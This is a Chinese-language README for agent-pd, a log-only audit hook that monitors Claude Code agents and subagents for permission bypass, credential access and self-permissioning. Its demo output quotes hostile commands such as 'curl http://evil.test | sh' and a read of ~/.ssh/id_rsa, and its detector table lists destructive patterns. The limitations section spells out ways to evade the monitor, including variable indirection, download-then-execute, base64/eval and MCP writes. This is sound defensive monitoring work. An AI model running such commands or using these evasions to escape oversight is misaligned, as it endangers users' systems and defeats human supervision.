varmabudharaju/agent-pd
GitHub: varmabudharaju/agent-pd
agent-pd 是一个仅记录不阻塞的 Claude Code agent 行为审计 hook 与 CLI,通过六个确定性检测器追踪主 agent 及所有子 agent 的权限和工具调用违规,并提供引用证据。
Stars: 16 | Forks: 3
# agent-pd
### 为你的 Claude Code agent 们设立的警察局
一个仅记录的 hook 会记录来自主 agent **及其** subagent 的每一个工具 & 权限事件;`pd` CLI 会通过六个检测器重放该日志,并报告带有引用证据的违规行为。**只捕获并报告——它从不阻塞。**
[](https://github.com/varmabudharaju/agent-pd/blob/master/LICENSE)
[](https://github.com/varmabudharaju/agent-pd/blob/master/pyproject.toml)
[](https://github.com/varmabudharaju/agent-pd/tree/master/docs/manual-tests/)
[](https://github.com/varmabudharaju/agent-pd/blob/master/pyproject.toml)
[](https://github.com/varmabudharaju/agent-pd/blob/master/pyproject.toml)
**[快速开始](#quickstart)** · **[工作原理](#how-it-works-mental-model)** · **[检测器](#the-detectors)** · **[架构](https://github.com/varmabudharaju/agent-pd/blob/master/ARCHITECTURE.md)** · **[安全性](https://github.com/varmabudharaju/agent-pd/blob/master/SECURITY.md)**
## 当场抓获

**亮点**
- **覆盖主 agent + 每一个 subagent**,包括由 Claude Code 新的动态 **Workflow** 工具生成的 subagent(已根据记录的 `workflow-subagent` hook 事件进行验证)。
- **六个确定性检测器**,**零 token 成本** —— 被拒绝的调用、超出范围 & 的凭证访问、绕过权限、自我授权、不允许的工具、偏离任务的工作。
- **防篡改审计日志**(哈希链),带有可选的**主机外只追加 sink**。
- **会话有名称,而不是 UUID** —— `pd list` 和 `pd watch` 显示每个会话的项目目录和第一个用户提示,这些是从日志中已有的数据派生出来的(可追溯适用)。
- **设计诚实** —— 它提高了门槛;它**不是**一个 sandbox。参见 [SECURITY.md](https://github.com/varmabudharaju/agent-pd/blob/master/SECURITY.md)。
**它的样子** —— 跨越三个并发会话的 `pd watch --all`(三个项目,主 agent + 带有其任务简报的 subagent,在普通工作中有两个真实标记和一个边界搜索):

## 为什么存在
Claude Code agent 可以读取文件、运行 shell 命令并生成 subagent。其中大部分都没问题 —— 但你通常只有通过滚动记录才能发现 agent *实际上做了什么*,而且**被拒绝的调用根本不会到达记录中**(Claude Code 会先杀死它们)。agent-pd 安装了一个 hook,将每个事件记录到按会话划分的审计日志中,然后为你提供工具来询问:*是否有任何 agent 超出范围、触及凭证、试图提权、编辑自己的配置、使用了不允许的工具,或者偏离了它的任务简报?*
## 工作原理(心智模型)
```
SETUP CAPTURE (automatic, every session) READ (per session or --all)
pd install-hook → hook fires on every tool call → pd report (forensic)
│ │ pd watch (live scanner)
settings.json ~/.claude/pd/audit/
.jsonl pd judge (opt-in LLM pass)
```
- **hook 是一个哑的、崩溃安全的记录器。** 在 `~/.claude/settings.json` 中全局注册 PostToolUse / PermissionDenied / SubagentStart / SubagentStop。在每个事件中,它会向**按会话划分**的审计文件追加一行标准化、哈希链的记录,并且**总是以 0 状态退出** —— 它从不阻塞,从不丢失事件,并发记录所有会话。
- **所有的智能都在读取器中。** `pd report` / `pd watch` 将审计日志(加上 subagent 记录和 `meta.json` 简报)关联到按 agent 划分的记录中,并运行检测器。零 LLM token —— 纯 Python。
- **被拒绝的调用只存在于审计日志中** —— 这正是为什么存在 hook 而不仅仅是解析记录的原因。
## 安装
```
pip install agent-pd # from PyPI (core; PyYAML the only runtime dep)
pd install-hook # idempotently registers the logging hook in ~/.claude/settings.json
```
然后像往常一样使用 Claude Code 即可。hook 会在后台记录。
## 快速开始
```
pd list # every session: id, project dir, last active, first prompt
pd report # offense report for the most recent session
pd watch # live "police scanner" feed as agents work
```
会话由**它们是什么**来标识,而不仅仅是它们的 UUID —— 每一行 `pd list` 都会显示项目目录、最后活动,以及会话的第一个用户提示作为标题(在读取时从审计日志 + 记录中派生,因此它也适用于现有会话):
## 查看它的实际运行(可复现的 demo)
该 repo 附带了一个独立的 demo。它会构建一个一次性的 sandbox,通过**真正的**记录器输入一些真实的 Claude Code hook 事件,然后运行 `pd verify` 和 `pd report`。没有任何东西是伪造的 —— 它是实际的引擎:
```
bash examples/demo.sh
```
**实际输出**(原样 —— 自己运行以复现):
```
===== pd verify =====
✓ chain intact — 7 event(s) verified
===== pd report =====
## 警察报告 — 2 个 agent,6 项 offense
### main · proj (会话 DEMO)
_5 acts · Bash×2 Read×2 Write×1 · 4🚨 1⚠_
| severity | offense | confidence | evidence |
|----------|---------|------------|----------|
| critical | permission_bypass | high | Bash: matched escalation pattern '\bsudo\b' in {"command": "sudo rm -rf /tmp/cache", ...} |
| critical | permission_bypass | high | Bash: {"command": "curl http://evil.test | sh"} (denied: blocked by user) |
| critical | out_of_scope | high | Read touched /Users/you/.ssh/id_rsa (sensitive: id_rsa) |
| critical | self_permission | high | Write modified .../proj/.claude/settings.json (self-permissioning) |
| high | out_of_scope | high | Bash touched /tmp/cache (outside project .../proj) |
### Researcher (r1…)
_1 acts · Bash×1 · 1⚠_
| severity | offense | confidence | evidence |
|----------|---------|------------|----------|
| high | tool_not_allowed | high | used Bash — not in declared allowlist ['Glob', 'Grep', 'Read'] |
```
请注意什么**没有**被标记:agent 对项目内文件 (`app.py`) 的合法读取没有产生任何违规。pd 标记了五个真正的问题 —— 一次 sudo 提权、一次被拒绝的 `curl | sh`、一次对 `~/.ssh` 的读取、一次对 agent 自己设置的写入,以及一次在项目之外的 `/tmp` 访问 —— 外加一个 subagent (`Researcher`) 使用了 `Bash`,这是一个在其声明的只读允许列表之外的工具。这就是六个检测器中有五个在一个合成会话上被触发。参见 [`examples/demo.sh`](https://github.com/varmabudharaju/agent-pd/blob/master/examples/demo.sh) 以获取确切的事件。
还有一个**多会话、多 agent 集群 demo** —— 跨越三个项目的三个会话(一个结账功能、一个不稳定 CI 调查、一篇博客草稿),每个都带有 subagent 和简报,并通过同一个真实的记录器输入。这就是本 README 中每张截图所展示的内容:
```
bash examples/demo-sessions.sh
export PD_AUDIT_DIR=/tmp/pd-demo-fleet/audit
pd list --projects-dir /tmp/pd-demo-fleet/projects
pd watch --all --replay --projects-dir /tmp/pd-demo-fleet/projects
```
集群的不稳定 CI 会话上的 `pd report` —— 按 agent 摘要的摘要、违规表、引用证据:
## 命令
```
pd install-hook # register the logging hook (one-time)
pd list # every session: id · project · last active · “first prompt”
pd report # offense report, most recent session
pd report --session --format md # md | json | both
pd report --verbose # full evidence + files-touched per agent
pd report --agent # focus one agent: digest + every action it took
pd watch # live feed, most recent session — streams NEW activity
# from now (like tail -f); existing backlog is skipped
pd watch --replay # replay the whole session's backlog first, then tail
pd watch --all # merged feed across ALL sessions (§session tag; an intro
# line names each session's project + first prompt)
pd watch --crimes-only # quiet unless something's wrong
pd watch --verbose # full commands + reasons, no truncation
pd watch --session --no-color --no-emoji # plain terminals / SSH
pd verify # check the audit-log hash-chain (most recent session)
pd verify --all # verify every session; exit 2 on tamper/truncation
# set PD_AUDIT_KEY for HMAC-keyed integrity
pd judge # dry run (free): items / agents / ≈token estimate
pd judge --run --via-claude-code # confirm off_task flags on your Claude subscription
pd judge --run --model sonnet --max 20 # or via the metered Anthropic API
pd compact [--session ID] [--prune-older-than DAYS] [--dry-run]
# gzip old logs (.jsonl -> .jsonl.gz); skips the active
# session; lossless for detection. Optional age-based prune.
pd sink push [--session ID] [--all] # forward un-sent chained events off-host (append-only sink)
pd sink status [--session ID] [--all] # forwarded/last per session; flags "remote ahead"
```
## 检测器
六个确定性检测器(零 token)加上一个可选的 LLM 通道。
| 违规 | 严重性 | 抓住的内容 | 置信度 |
|---|---|---|---|
| `permission_bypass` | critical | 被拒绝的调用 + 一个**两层** Bash 扫描:绝不降级的灾难性操作(`rm -rf /`、fork bomb、`curl\|sh`、`dd of=/dev/…`)在任何允许规则下保持 critical;可降级的提权(sudo、`chmod 777`、cwd-wipe)仅通过精确规则降级。 | high |
| `out_of_scope` | high / critical | 项目(自动:git root 或 cwd)之外的文件**或** Bash 路径,或配置的 `scope_dirs` 之外。敏感路径(`~/.ssh`、`~/.aws`、`~/.claude`、`/etc/shadow`、shell 历史…)**始终为 critical** 且从不降级。 | high |
| `self_permission` | critical | **任何** agent 通过任何方法写入自己的控制文件(`.claude/settings*.json`、`.claude/agents/*.md`、`pd-rules*.yaml`) —— Write/Edit/NotebookEdit 或 Bash `cp`/`mv`/`tee`/`sed`/`python`/`base64`/redirect —— 无论内容如何。 | high |
| `tool_not_allowed` | high | subagent 使用了在其声明的 `tools:` 允许列表 (`.claude/agents/.md`) 之外的工具。 | high |
| `redundant` | low | 完全重复的工具调用(忽略 Bash `description` 噪声)。 | high |
| `off_task` | review | 搜索/查询词与 agent 简报的对比,基于低于阈值的词汇重叠。 | **low — 启发式** |
五个确定性检测器是值得信赖且免费的。`off_task` 故意产生噪声,并被硬标记为低置信度 —— **judge**(如下)将其转变为高置信度判定。
### 具备权限感知的严重性
当操作匹配你配置的权限**允许规则**(在 `~/.claude/settings.json` 或项目 `.claude/settings.local.json` 中的 `permissions.allow`)时,`out_of_scope` 和提权命中会**降级为安静的 `info` 严重性** —— *已授权 → info,未授权 → 完整严重性*。
匹配**忠实于 Claude Code 自身的语义**:shell 操作符拆分(`Bash(git:*)` 规则**不**允许 `git status && rm -rf ~`)、命令替换/反引号提取、作为单独授权的重定向目标、词边界前缀(`npm install:*` ≠ `npm installmalware`)以及 gitignore 风格的 glob。歧义解决**趋于保守 → 不允许**(漏报比误报更糟糕)。有两件事**绝不**降级:敏感路径访问和绝对灾难性的命令。被拒绝的调用无论如何都保持 critical —— 按照定义,拒绝就是不允许的。
### off_task judge (`pd judge`) —— 可选、有成本上限
一个可选的 LLM 通道,它会读取每个 agent 的简报及其被标记的搜索,然后确认或丢弃嘈杂的 `off_task` 标记。构建为几乎不花任何成本:
- **可选** —— 从不在 hook 或 `pd watch` 中运行。
- **默认 Dry-run** —— 打印一个预估;添加 `--run` 才会实际调用。
- **预过滤 + 批处理** —— 只有已经被标记的项目,每个 agent 一次 API 调用。
- **两个后端:** `--via-claude-code` 通过 shell 调用 headless `claude` CLI(**你的 Claude 订阅,无需 API key**),或者计费的 Anthropic API(`pip install -e ".[judge]"` + `ANTHROPIC_API_KEY`)。`--model haiku|sonnet|opus`(默认 haiku),`--max N`。
在 demo 集群中,orders-api subagent 钻牛角尖进入了与其简报零词汇重叠的 CI 基础设施搜索 —— 启发式算法将其标记以供审查,而 dry run 精确估算了确认它将花费的成本:
## 实时视图:`pd watch`
一个实时反馈,显示你的 agent 正在做什么以及它们正在违反哪些规则。页眉**标明了它附加到的会话** —— 项目目录加上会话的第一个提示 —— 因此附加到默认(最近)的会话永远不会是一个谜:
每个 agent 都有一种稳定的颜色和一个带有其分配简报的横幅;每个动作都是一条带有严重性徽章的反馈行;一个实时的违规记录页脚汇总了每个 agent 的违规。使用 `--all`(跨越每个会话的合并反馈)时,会话首次出现时会打印一条 `§sid · project · “title”` 的介绍行,因此交错的会话保持可区分 —— 参见本 README 顶部的集群截图。
`--crimes-only` 保持反馈安静,除非确实出了问题 —— 只有被标记的操作才会流式传输 —— 并且 Ctrl-C 会打印最终的**违规记录**,汇总每个会话中的每个 agent:
零额外依赖 —— 仅 ANSI。完整的带注释截图集位于 [docs/test-evidence.md](https://github.com/varmabudharaju/agent-pd/blob/master/docs/test-evidence.md)。
## 审计日志完整性 & 主机外 sink
每个事件都带有一个 `seq` 和一个 `chain = sha256(prev_chain + canonical(event))`(如果设置了 `PD_AUDIT_KEY`,则使用 HMAC-SHA256),由 hook 在按会话的文件锁下计算,并带有 `.head.json` 锚点。**`pd verify`** 会重新计算链并报告 `✓ intact`、`✗ TAMPER DETECTED` 或 `✗ TRUNCATED`(exit 2),并且跨 `pd compact` 保持有效。这是它真正捕获这两次攻击的情况 —— 从日志尾部删除了一个事件,然后在记录的命令中翻转了一个字节(压缩后的会话仍然验证通过):
这是防篡改**明显**,而不是防篡改证明**:具有 Bash 的同用户 agent 可以重新链接整个文件。为了弥合该差距的*追溯性删除*一半,**`pd sink push`** 会将每个链式事件转发到**主机外、只追加目标**(file 或 http 后端;仅限环境变量的 `PD_SINK_TOKEN`;远程 token 强制要求 `https://`;不跟随重定向)。一旦事件被发送到主机外,以后的本地的重写就无法触及它。**`pd sink status`** 会在发送的事件多于本地保留的事件时标记“remote ahead” —— 这是一个截断信号:
## 缺少什么(诚实的局限性)
agent-pd **提高了门槛;它不是一个 sandbox。** 使用混淆或间接的坚定的同等权限对手可以逃避静态检测。已知限制,通俗地说:
- **混淆 / 间接逃避了静态检测。** 多级 `$VAR` 链(`A=/etc/shadow; B=$A; cat $B` —— 仅遵循单级展开)、`$IFS` / 词拆分技巧、两步下载后执行(`curl -o f url; sh f`)、base64/eval 组合的命令以及动态构建的路径可能会漏网。
- **非 Bash 文件写入 MCP 工具绕过了 `self_permission`。** 只有 Write/Edit/NotebookEdit 和 Bash 会被检查是否写入控制文件;具有不同形式的 filesystem MCP 工具可能会在未检测到的情况下写入 `.claude/settings.json`。
- **`off_task` 是启发式的**(词汇重叠),并且不能在主 agent 或 Workflow subagent 上运行(没有简报)。`pd judge` 是值得信赖的路径。
- **`~/.config` 的敏感性很广**,并且可能很嘈杂(它也保存无害的应用配置)。
- **工具*结果*不会被呈现** —— hook 捕获 `tool_input` 和一个结果标志,而不是完整的 `tool_response`,以防止审计日志膨胀。反馈显示 agent *做了什么*,而不是它的输出。
- **审计完整性是防篡改明显的,而不是防篡改证明**(上文),并且 off-host sink 的只追加保证由操作员负责。
- **符号链接解析是尽力而为的**(在分析时符号链接必须存在)。
- **早于 hook 的会话**(仅有记录,没有 `.jsonl`)不会出现在 `pd report` 中。
已发布/残留/拒绝项目的完整账本位于 [KNOWN-GAPS.md](https://github.com/varmabudharaju/agent-pd/blob/master/KNOWN-GAPS.md)。
## 如何改进(路线图)
已按优先级排序,均不阻塞 —— 范围划分使得任何一个都可以被独立采用:
1. **工具无关的控制文件检测** —— 标记*任何*工具,其输入在写入形式的字段中指定了控制路径(弥补了 MCP `self_permission` 差距)。
2. **多级 `$VAR` 解析** —— 将变量替换迭代到不动点,从而使 2 跳间接(`B=$A`)不再隐藏敏感路径。
3. **在捕获时截断/限制 `tool_result`** 以保持原始的 `.jsonl` 较小。
4. **将 `~/.config` 敏感性缩小**到带有凭证的子路径(`gh`、`gcloud`、…)以减少噪声。
5. **Sink 增强** —— 分块大型 backlog、syslog 后端,以及 `pd verify --against-sink` 的回读对账。
6. **`pd summary `** —— 按 agent 摘要(触及的文件、时间跨度、工具直方图)。
7. **Judge 判定磁盘缓存** —— 跳过对相同(简报、搜索)对的重新判定。
8. **捕获更多 hook 事件**(`PostToolUseFailure`、`PreCompact`、`SessionEnd`)以丰富时间线。
## 配置
agent-pd 开箱即用,无需配置 —— 每个规则(敏感路径、提权模式、严重性、`off_task` 阈值)都作为内置默认值提供。一个 `pd-rules.yaml` 文件是**可选的**,仅在覆盖这些默认值时才需要。
当你编写一个文件时,每个命令都会**自动发现**它 —— 不需要任何标志。在每次运行时,`pd` 会按此顺序查找 `pd-rules.yaml` 并使用它找到的第一个,深度合并到内置默认值之上:
1. 当前目录
2. 封闭的**项目根目录**(cwd 上方的 git 根目录)
3. `~/.claude/pd-rules.yaml`(所有项目的全局默认值)
优先级是 **`--rules ` › 自动发现的文件 › 内置默认值** —— 在任何命令(包括 `pd watch`)上传递 `--rules` 以指向特定文件并覆盖发现。参见本仓库中的 `pd-rules.yaml` 以获取每个受支持的键(`scope_dirs`、敏感路径、两个提权层级、严重性、`off_task_overlap_threshold`、`storage` 以及一个 `sink` 部分)。
主机外 sink 还会读取环境变量覆盖:`PD_SINK_TYPE=file|http`、`PD_SINK_PATH` / `PD_SINK_URL`、`PD_SINK_TIMEOUT`,以及**仅限环境变量的** `PD_SINK_TOKEN`(如果放置在配置文件中则会被忽略,因此它永远不会落入已签入或全局可读的文件中)。
## 存储与隐私
```
~/.claude/pd/audit/.jsonl # live capture (hook appends here)
~/.claude/pd/audit/.jsonl.gz # compacted (pd compact, gzip)
```
审计日志存储**完整的工具输入** —— 文件内容和 Bash 命令 —— 这**可能包含明文的机密**。它位于**你的 repo 之外**(不会被意外提交),但请像对待任何敏感的本地文件一样对待它。`pd compact` 会 gzip 压缩,它**不会**加密。除非你配置了 sink,否则不会上传任何内容。要清除它:`rm ~/.claude/pd/audit/*.jsonl`(它会在会话运行时重新填充)。
**选择日志的去向。** 默认值刻意设定为一个隐藏的、本地的、非 repo 的路径。要将日志放在你选择的位置,请设置 `PD_AUDIT_DIR`,或者在安装时将其固化到 hook 中:
```
pd install-hook --audit-dir ~/agent-pd-logs # hook + CLI both use this path
# 或者,在每个 shell 中:export PD_AUDIT_DIR=~/agent-pd-logs
```
hook(写入)和每个 `pd` 命令(读取)都遵循 `PD_AUDIT_DIR`(优先级:`--audit-dir` 标志 › `PD_AUDIT_DIR` › 默认值)。**相对**路径在设置时会被解析为绝对路径(安装标志会固化绝对路径;`PD_AUDIT_DIR` 在读取时会被绝对化),因此日志总是放在一个固定的地方,而不是散落到每个 agent 碰巧运行的任何目录中。尽管管如此,**不要**将它指向 repo 文件夹或云同步目录(iCloud/Dropbox),除非你接受明文的工具输入 —— 可能是机密 —— 将被提交或同步到机外。
## 开发
```
pip install --user -e . # core
pip install --user -e ".[judge]" # + anthropic SDK (only for the API judge backend)
python3 -m pytest -q # 474 tests, pure (no API key needed)
```
始终贯彻 TDD;检测器、渲染、实时和 judge 都在没有网络的情况下进行了单元测试。如需深入了解设计:[SYSTEM-DESIGN.md](https://github.com/varmabudharaju/agent-pd/blob/master/SYSTEM-DESIGN.md)(正式的设计文档 —— 目标、组件、权限模型、权衡)和 [ARCHITECTURE.md](https://github.com/varmabudharaju/agent-pd/blob/master/ARCHITECTURE.md)(图表)。如实的局限性和路线图位于 [KNOWN-GAPS.md](https://github.com/varmabudharaju/agent-pd/blob/master/KNOWN-GAPS.md)。
## License
[Apache License 2.0](https://github.com/varmabudharaju/agent-pd/blob/master/LICENSE) © Sai Ram Varma Budharaju。可免费使用、修改和分发(包括商业用途);保留版权和许可声明。包含专利授权。标签:AI代理, Claude Code, Python, 审计日志, 恶意代码分类, 无后门, 行为监控, 逆向工具